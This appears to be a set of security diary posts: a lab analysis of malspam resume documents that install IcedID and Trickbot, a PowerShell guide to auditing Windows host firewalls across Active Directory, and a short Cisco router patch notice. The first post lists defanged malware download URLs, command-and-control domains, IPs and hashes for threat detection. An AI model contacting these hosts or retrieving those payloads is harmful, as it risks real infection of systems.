  • 2019-03-05 15:50 UTC -- Livia Westlake Resume.doc -- bhubler@cox.net -- Regarding position
  • 2019-03-05 15:41 UTC -- Shandi Stribling Resume.doc -- afw2153@cox.net -- Regarding Job
  • 2019-03-05 15:26 UTC -- Kylee Chiles Resume.doc -- danawood@cox.net -- Regarding Job
  • 2019-03-05 15:06 UTC -- Livia Westlake Resume.doc -- luizaion@cox.net -- Hiring
  • 2019-03-05 14:56 UTC -- Kelvin Quarterman Resume.doc -- jollyjanuary@cox.net -- Regarding position
  • 2019-03-05 14:56 UTC -- Alona Mcferren Resume.doc -- finddeb2@cox.net -- application

On Monday 2019-03-04, I searched VirusTotal Intelligence for Word documents with Resume.doc as part of the file name, and were 37,888 bytes in size.  I found several results and chose one of the more recent examples to generate an infection in my lab environment.  These files show a low detection rate in VirusTotal, probably because they are password-protected.

Shown above: Search results in VirusTotal Intelligence from Monday 2019-03-04.

I found an example from Wednesday 2019-02-27 that came from malspam as shown in the images below.

Shown above:  Example of the malspam and attached Word document.

Shown above:  Attached Word document after unlocked with the password 1234.

Infection traffic

Shown above:  Traffic from the infection filtered in Wireshark.

In the above image, an infected Windows client is on, and the domain controller (DC) is on  Traffic shows the Windows client first infected with IcedID.  Shortly after the initial infection, the client retrieves Trickbot spreader EXEs that download and send Trickbot to the DC.

Evil macro retrieves EXE for IcedID (Bokbot):

  • 209.141.55[.]226 port 80 - 209.141.55[.]226 - GET /troll1.jpg

IcedID (Bokbot) infection traffic:

  • 146.120.110[.]93 port 443 - detecture[.]pw - HTTPS/SSL/TLS traffic caused by IcedID (Bokbot)
  • 146.120.110[.]93 port 80 - govenian[.]host - GET /data2.php?0123456789ABCDEF
  • 146.120.110[.]93 port 443 - govenian[.]host - Client Hello
  • 85.246.116[.]239 port 443 - matchippsi[.]com - attempted TCP connections, but no response from server
  • 188.127.239[.]51 port 80 and 443 - thracial[.]pw - attempted TCP connections, but no response from server
  • 188.127.239[.]51 port 80 and 443 - saudienter[.]pw - attempted TCP connections, but no response from server
  • 87.236.22[.]142 port 80 and 443 - superhaps[.]pw - attempted TCP connections, but no response from server
  • 87.236.22[.]142 port 80 and 443 - maalous[.]pw - attempted TCP connections, but no response from server

IcedID (Bokbot) infection traffic related to Trickbot propagation:

  • 46.249.62[.]199 port 80 - 46.249.62[.]199 - GET /Tinx86_14.exe
  • 46.249.62[.]199 port 80 - 46.249.62[.]199 - GET /Sw9JKmXqaSj.exe
  • 94.250.253[.]158 port 80 - 94.250.253[.]158 - GET /sin.png
  • 94.250.253[.]158 port 80 - 94.250.253[.]158 - GET /tin.png

Trickbot infection traffic:

  • port 80 - ip.anysrc[.]net - GET /plain
  • 192.243.102[.]170 port 447 - HTTPS/SSL/TLS traffic caused by Trickbot
  • 185.255.79[.]113 port 443 - HTTPS/SSL/TLS traffic caused by Trickbot
  • 212.80.216[.]238 port 447 - HTTPS/SSL/TLS traffic caused by Trickbot
  • 179.189.241[.]254 port 449 - HTTPS/SSL/TLS traffic caused by Trickbot
  • 94.140.125[.]131 port 443 - HTTPS/SSL/TLS traffic caused by Trickbot
  • 103.119.144[.]250 port 8082 - 103.119.144[.]250:8082 - POST /tin20/[string of characters]


SHA256 hash: bfda463352e31502f70eacc46827e505ebae681dce1211aa11a12eb693803790

  • File size: 37,888 bytes
  • File name: Dominga Adkinson Resume.doc
  • File description: Password-protected Word doc with evil macro designed to install malware

SHA256 hash: 62b7fbffd000a8d747c55260f0b867d09bc4ad19b2b657fb9ee3744c12b87257

  • File size: 707,584 bytes
  • File location: hxxp://209.141.55[.]226/troll1.jpg
  • File location: C:\Users\[username]\AppData\Local\Temp\qwerty2.exe
  • File description: IcedID (Bokbot) malware retrieved by evil macro

SHA256 hash: 046482ac16d538f1ab105669c8355cf6c6444e3310b1819fd7c38ace18b049fa

  • File size: 327,733 bytes
  • File location: hxxp://46.249.62[.]199/Sw9JKmXqaSj.exe
  • File description: Trickbot downloader (1 of 2) retrieved from 46.249.62[.]199 by IcedID-infected host

SHA256 hash: 38155ede329f41fd733d2abaceb5064494e33ea2d697add430d400c45eab6633

  • File size: 2,977,845 bytes
  • File location: hxxp://46.249.62[.]199/Tinx86_14.exe
  • File description: Trickbot downloader (2 of 2) retrieved from 46.249.62[.]199 by IcedID-infected host

SHA256 hash: cf99990bee6c378cbf56239b3cc88276eec348d82740f84e9d5c343751f82560

  • File size: 115,712 bytes
  • File description: Trickbot-related executable found on the infected DC

SHA256 hash: 578025955b8e7de29489dbb3d077e524a9ca7afdeff7d41afbd39b628550a027

  • File size: 847,872 bytes
  • File location: hxxp://94.250.253[.]158/sin.png
  • File description: Trickbot EXE retrieved from 94.250.253[.]158 by infected client

SHA256 hash: f6e8302d9c3e043d208d60af280e7a30bc08a3d235c797f2cd8b0bb53116230c

  • File size: 847,872 bytes
  • File location: hxxp://94.250.253[.]158/tin.png
  • File location: C:\Users\Default\AppData\Roaming\wnetwork\y5lwqmn_ch72bggm929d5m6zkqado3179zfrqa67ekdd5bwatve7_zzu6p9vjob0.exe
  • File description: Trickbot EXE retrieved from 94.250.253[.]158 by infected client and used to infect the DC

Final words

Most interesting was the Windows client initially infected with IcedID.  This client was not infected with Trickbot.  Trickbot downloaders (Sw9JKmXqaSj.exe and Tinx86_14.exe) retrieved by my IcedID-infected client sent a Trickbot EXE (tin.png) to the DC over SMB using an ETERNALBLUE-style exploit.  But any Trickbot EXEs downloaded from 94.250.253[.]158 (sin.png and tin.png) were not executed on the Windows client.  In two previous examples from February 2019 (here and here) both client and DC were infected with Trickbot, but the DC was always infected first.  From there, Trickbot spread from the DC to my IcedID-infected Windows client.

In my example from Monday 2019-03-04 for today's diary, Trickbot didn't propagate back to the original Windows client.  If I'd waited long enough for all Trickbot modules to load on the DC, perhaps it would've spread back to the client as seen in previous examples.

A pcap of the infection traffic and malware associated with today's diary can be found here.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2019-03-05

Powershell, Active Directory and the Windows Host Firewall

When Windows XP was released in late 2001, one of the new features that everyone thought was outstanding was the workstation firewall.  This feature was going to save us all, blocking attacks and malware on known and easily exploitable ports such as those used by AD - surely we could quantify our own domains and block any and all traffic from non-domain stations?  Or block attack traffic from our AD neighbours?

Sadly, it's now 2019 (just over 17 years later), and it's depressing for us in the security industry to see that firewalls are routinely disabled domain-wide in most Windows shops by the folks who admin those domains.

Why is this so terrible?  For starters, the most common windows malware these days propagates over port tcp/445 (used for SMB, which is used extensively in AD, among other protocols), and in most shops there's no good reason for one workstation to have the capability to connect to another workstation on tcp/445.  Really, that traffic is almost always confined to client <-> server communications.  In most environments, there is no client to client workstation communication requirements at all - sometimes we'll see that soft-phones will need ports open for VOIP, but that's about it.  For a "tcp/445 inbound to workstations" rule specifically, you likely only want to permit Domain Controllers, and then also maybe the management hosts that you'll be running scripts from to audit / maintain your workstations.

So, should we start by blocking tcp/445 from workstation subnets?  No, that's very much missing the point. For a workstation firewall, permit the client to server traffic that you need on the outbound rule, as well as any server to client traffic that is needed on the inbound rule, look at what you need for internet (keep reading) and anything else, then block all other traffic.

What, no "any/any" to the internet?  Sure, you could go there, but you likely only need a handful of ports outbound (and NONE inbound) for internet traffic for most stations - more and more we're seeing just http and https, with protocols like ssh, ftps, sftp to a handful of known destinations.  DNS requests should only be permitted to your DNS servers (where you can log them and sink-hole requests to known malicious sites).   Many environments should be blocking internet-bound cleartext protocols like FTP, but just plain don't.  You *could* do a "permit all" to the internet, then trust the firewall egress filter, but that approach won't help you when that mobile workstation leaves the office at the end of the work day, if it was ever there.

What the firewall egress filter will buy you however is more "mature" logging and reporting.   You can (and should) centrally log your workstation firewall traffic hits and stats, but Windows logging is so verbose, and SEIM solutions don't tend to do a great job on workstation firewalls.  You may want an "at work" policy that allows anything outbound to the internet from the workstation firewall, after all the internal rules are processed, so that permitted and blocked traffic gets logged and reported at the perimeter firewall.  Just be sure that the "internet" rule for the "Public" and "Home" network profiles reflect what's in your firewall's egress filter (or are more restrictive), and are maintained to stay that way - you don't want that outbound/any/any to still be in play if a workstation leaves the office!

If there is any question about if one port or another is being used inbound or outbound, WireShark is your friend.  It's fairly simple to set up a capture session looking just for the port in question (a capture filter of "tcp port 445" for instance will only capture that port). 

How can you set your status network-wide?  Group Policy has this dialed in!  You'll likely have many of the server firewall policies set individually, but workstations can normally be configured globally in a GPO, once you've got  your policy tested.  Do keep in mind though that you can easily lobotomize a domain with GPO's - you'll want to test your policies on a small but representative group of stations, then roll the GPO to a series of pilot groups before you include all workstations.

Normally you'll have one set of rules for workstations when they are "at work", then a much more restrictive "away" set of rules, usually when not at work the workstation firewall should deny all unsolicited inbound traffic for instance.

How can you check your server and workstation firewall status?  The PowerShell script below will list out the firewall status (not the individual rules) for each host in AD - the saved file can then be read into Excel (or whatever) to process for any further action:

$pcs = get-adcomputer -filter * -property Name,OperatingSystem,Operatingsystemversion,IPV4Address
$fwinfo = @()
foreach ($pc in $pcs) {
    write-host $i
    $tempval = new-object psobject
    if (Test-Connection -ComputerName $pc.DNSHostName -count 2 -Quiet) {
    $tempval = Get-NetFirewallProfile -cimsession $pc.DNSHostName -PolicyStore activestore | select name, enabled, defaultinboundaction, DefaultOutboundAction
    if ($tempval.count -gt 0) {
        $tempval | add-member -membertype noteproperty -name HostName -value $pc.dnshostname
        $tempval | add-member -membertype noteproperty -name OperatingSystem -value $pc.OperatingSystem
        $tempval | add-member -membertype noteproperty -name IpAddress -value $pc.IPV4Address
        $fwinfo += $tempval
$fwinfo | export-csv -path ./fwstate.csv

This gets us the state, but what about the rules, as well as the ports and protocols associated with the rules?  For a local workstation, the code below will get you that information.  Note though  that modern firewall rules are way more than just ports and protocols - many (if nto most) rules are application based, allowing those ports and protocols to or from specific applications only.

$pfrules = @()
$rules =  get-netfirewallrule
foreach ( $rule in $rules ) {
  $pf = $rule | get-netfirewallportfilter
  $tempval = new-object psobject
  $tempval = $rule | select displayname, description, enabled, profile, direction, action, policystoresource, policystoresourcetype
  $tempval | add-member -membertype noteproperty -name Protocol -value $pf.protocol
  $tempval | add-member -membertype noteproperty -name LocalPort -value $pf.LocalPort
  $tempval | add-member -membertype noteproperty -name RemotePort -value $pf.RemotePort
  $tempval | add-member -membertype noteproperty -name ICMPType -value $pf.ICMPType
  $tempval | add-member -membertype noteproperty -name DynamicTarget -value $pf.DynamicTarget
  $pfrules += $tempval

For a typical host, that'll give you a rule count in the high 300's, so this will add up if you enumerate domain-wide.  However, it's worth doing to find outliers.  Looking for protocol rules that are inbound TCP and active for instance cuts the count down quite a bit:

$tcpin = $pfrules | where { $_.Direction -eq 'Inbound' -and $_.Enabled -eq 'True' -and $_.Protocol -eq 'TCP' }

Even that is a lot to look at, especially if you are enumerating groups of hosts or the entire domain - again, Excel is DEFINITELY your friend for this excercise.  

Expanding our original collection script to include packet filter rules domain wide would look like this:

$pcs = get-adcomputer -filter * -property Name,OperatingSystem,Operatingsystemversion,IPV4Address
$pfrules = @()
foreach ($pc in $pcs) {
    write-host $i
    $tempval = new-object psobject
    if (Test-Connection -ComputerName $pc.DNSHostName -count 2 -Quiet) {
    $fwrules = Get-NetFirewallRule -cimsession $pc.DNSHostName -PolicyStore activestore
    foreach ( $rule in $fwrules ) {
        $pf = $rule | get-netfirewallportfilter
        $tempval = new-object psobject
        $tempval = $rule | select displayname, description, enabled, profile, direction, action, policystoresource, policystoresourcetype
        $tempval | add-member -membertype noteproperty -name Protocol -value $pf.protocol
        $tempval | add-member -membertype noteproperty -name LocalPort -value $pf.LocalPort
        $tempval | add-member -membertype noteproperty -name RemotePort -value $pf.RemotePort
        $tempval | add-member -membertype noteproperty -name ICMPType -value $pf.ICMPType
        $tempval | add-member -membertype noteproperty -name DynamicTarget -value $pf.DynamicTarget
        $tempval | add-member -membertype noteproperty -name HostName -value $pc.dnshostname
        $tempval | add-member -membertype noteproperty -name OperatingSystem -value $pc.OperatingSystem
        $tempval | add-member -membertype noteproperty -name IpAddress -value $pc.IPV4Address
        $pfrules += $tempval
$pfrules | export-csv -path ./fw-packetfilterrules.csv


So, the next time you have a conversation when they say that "it must have been targeted malware" or "it was a nation-state class attack" when they are ransomwared, take a peek at their GPO's - see if they had their workstation and servers firewalls enabled, let alone configured!  Run a quick audit of what's actually on their workstations and servers, especially the settings for laptops when they are off-premise.

Have you been involved in an incident where host firewalls (Windows or otherwise) have truly saved the day?  Or have you been in one that was a true trip to h-e-double-hockey-sticks, and proper host firewalls would have maybe prevented that trip?  Please, share using our comment form below!

Rob VandenBrink


Published: 2019-03-01

Critical Cisco Wireless Patch for RV Series, CVE-2019-1663.

Cisco has released a critical patch for the RV110W, RV130W, and RV215W wireless routers. The vulnerability is due to improper validation of user-supplied data in the web-based management interface. This was initially discussed at the GeekPwn Shanghai conference on October 24-25, 2018.


Check out the link below for more information.




Tom Webb @twsecblog